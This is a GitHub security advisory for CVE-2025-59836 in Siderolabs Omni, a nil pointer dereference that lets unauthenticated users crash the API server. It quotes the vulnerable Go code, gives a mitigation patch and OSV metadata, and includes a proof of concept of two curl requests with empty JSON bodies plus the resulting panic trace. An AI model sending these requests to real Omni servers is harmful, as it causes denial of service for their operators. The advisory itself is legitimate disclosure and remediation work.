GHSA-4P3P-CR38-V5XP
Vulnerability from github – Published: 2025-10-13 19:59 – Updated: 2025-11-05 22:07Summary
A nil pointer dereference vulnerability in the Omni Resource Service allows unauthenticated users to cause a server panic and denial of service by sending empty create/update resource requests through the API endpoints.
Details
The vulnerability exists in the isSensitiveSpec function which calls grpcomni.CreateResource without checking if the resource's metadata field is nil. When a resource is created with an empty Metadata field, the CreateResource function attempts to access resource.Metadata.Version causing a segmentation fault.
Vulnerable Code
The isSensitiveSpec function in /src/internal/backend/server.go:
func isSensitiveSpec(resource *resapi.Resource) bool {
res, err := grpcomni.CreateResource(resource) // No nil check on resource.Metadata
if err != nil {
return false
}
// ... rest of function
}
The CreateResource function expects resource.Metadata to be non-nil:
func CreateResource(resource *resources.Resource) (cosiresource.Resource, error) {
if resource.Metadata.Version == "" { // PANIC: nil pointer dereference
resource.Metadata.Version = "1"
}
// ... rest of function
}
The UpdateResource function has the same issue - it also calls CreateResource internally and expects resource.Metadata to be non-nil:
func (s *ResourceServer) Update(ctx context.Context, in *resapi.UpdateRequest) (*resapi.UpdateResponse, error) {
// ... validation code ...
obj, err := CreateResource(in.Resource) // Same vulnerability here
if err != nil {
return nil, err
}
// ... rest of function
}
Affected Endpoints
resourceServerCreate- Create Resource API endpointresourceServerUpdate- Update Resource API endpoint
Both endpoints call isSensitiveSpec which triggers the vulnerability when processing empty resources.
PoC
Send empty resource requests to the affected API endpoints:
# Create endpoint
curl -X POST "https://your-omni-instance/api/omni.resources.ResourceService/Create" \
-H "Content-Type: application/json" \
-d '{}'
# Update endpoint
curl -X POST "https://your-omni-instance/api/omni.resources.ResourceService/Update" \
-H "Content-Type: application/json" \
-d '{}'
Expected Result: Server panic with segmentation fault:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x293d970]
goroutine 3305 [running]:
github.com/siderolabs/omni/internal/backend/grpc.CreateResource(0x3495420?)
/src/internal/backend/grpc/resource.go:364 +0x20
Impact
- Vulnerability Type: Denial of Service (DoS)
- Severity: High - Complete API server crash requiring manual restart if no restart policy is applied.
- Authentication: None required (unauthenticated)
- Complexity: Low (simple HTTP request)
Mitigation
Add nil checks in the isSensitiveSpec function:
func isSensitiveSpec(resource *resapi.Resource) bool {
if resource == nil || resource.Metadata == nil {
return false
}
res, err := grpcomni.CreateResource(resource)
if err != nil {
return false
}
// ... rest of function
}
Credits
- @1c3t0rm
- @nicomda
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.4"
},
"package": {
"ecosystem": "Go",
"name": "github.com/siderolabs/omni"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0-beta.0"
},
{
"fixed": "1.1.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/siderolabs/omni"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59836"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-13T19:59:17Z",
"nvd_published_at": "2025-10-13T21:15:34Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA nil pointer dereference vulnerability in the Omni Resource Service allows unauthenticated users to cause a server panic and denial of service by sending empty create/update resource requests through the API endpoints.\n\n## Details\n\nThe vulnerability exists in the `isSensitiveSpec` function which calls `grpcomni.CreateResource` without checking if the resource\u0027s metadata field is nil. When a resource is created with an empty `Metadata` field, the `CreateResource` function attempts to access `resource.Metadata.Version` causing a segmentation fault.\n\n### Vulnerable Code\n\nThe `isSensitiveSpec` function in `/src/internal/backend/server.go`:\n\n```go\nfunc isSensitiveSpec(resource *resapi.Resource) bool {\n res, err := grpcomni.CreateResource(resource) // No nil check on resource.Metadata\n if err != nil {\n return false\n }\n // ... rest of function\n}\n```\n\nThe `CreateResource` function expects `resource.Metadata` to be non-nil:\n\n```go\nfunc CreateResource(resource *resources.Resource) (cosiresource.Resource, error) {\n if resource.Metadata.Version == \"\" { // PANIC: nil pointer dereference\n resource.Metadata.Version = \"1\"\n }\n // ... rest of function\n}\n```\n\nThe `UpdateResource` function has the same issue - it also calls `CreateResource` internally and expects `resource.Metadata` to be non-nil:\n\n```go\nfunc (s *ResourceServer) Update(ctx context.Context, in *resapi.UpdateRequest) (*resapi.UpdateResponse, error) {\n // ... validation code ...\n obj, err := CreateResource(in.Resource) // Same vulnerability here\n if err != nil {\n return nil, err\n }\n // ... rest of function\n}\n```\n\n### Affected Endpoints\n\n- `resourceServerCreate` - Create Resource API endpoint\n- `resourceServerUpdate` - Update Resource API endpoint\n\nBoth endpoints call `isSensitiveSpec` which triggers the vulnerability when processing empty resources.\n\n## PoC\n\nSend empty resource requests to the affected API endpoints:\n\n```bash\n# Create endpoint\ncurl -X POST \"https://your-omni-instance/api/omni.resources.ResourceService/Create\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{}\u0027\n\n# Update endpoint \ncurl -X POST \"https://your-omni-instance/api/omni.resources.ResourceService/Update\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{}\u0027\n```\n\n**Expected Result**: Server panic with segmentation fault:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x293d970]\n\ngoroutine 3305 [running]:\ngithub.com/siderolabs/omni/internal/backend/grpc.CreateResource(0x3495420?)\n /src/internal/backend/grpc/resource.go:364 +0x20\n```\n\n## Impact\n\n- **Vulnerability Type**: Denial of Service (DoS)\n- **Severity**: High - Complete API server crash requiring manual restart if no restart policy is applied.\n- **Authentication**: None required (unauthenticated)\n- **Complexity**: Low (simple HTTP request)\n\n## Mitigation\n\nAdd nil checks in the `isSensitiveSpec` function:\n\n```go\nfunc isSensitiveSpec(resource *resapi.Resource) bool {\n if resource == nil || resource.Metadata == nil {\n return false\n }\n res, err := grpcomni.CreateResource(resource)\n if err != nil {\n return false\n }\n // ... rest of function\n}\n```\n\n## Credits\n- @1c3t0rm\n- @nicomda",
"id": "GHSA-4p3p-cr38-v5xp",
"modified": "2025-11-05T22:07:29Z",
"published": "2025-10-13T19:59:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siderolabs/omni/security/advisories/GHSA-4p3p-cr38-v5xp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59836"
},
{
"type": "WEB",
"url": "https://github.com/siderolabs/omni/commit/1396083f766a1b0380e9949968d7fc17b7afecaa"
},
{
"type": "WEB",
"url": "https://github.com/siderolabs/omni/commit/1fd954af64985a8b3dbf5b11deddbf7cd953f5ae"
},
{
"type": "PACKAGE",
"url": "https://github.com/siderolabs/omni"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4021"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Omni is Vulnerable to DoS via Empty Create/Update Resource Requests"
}
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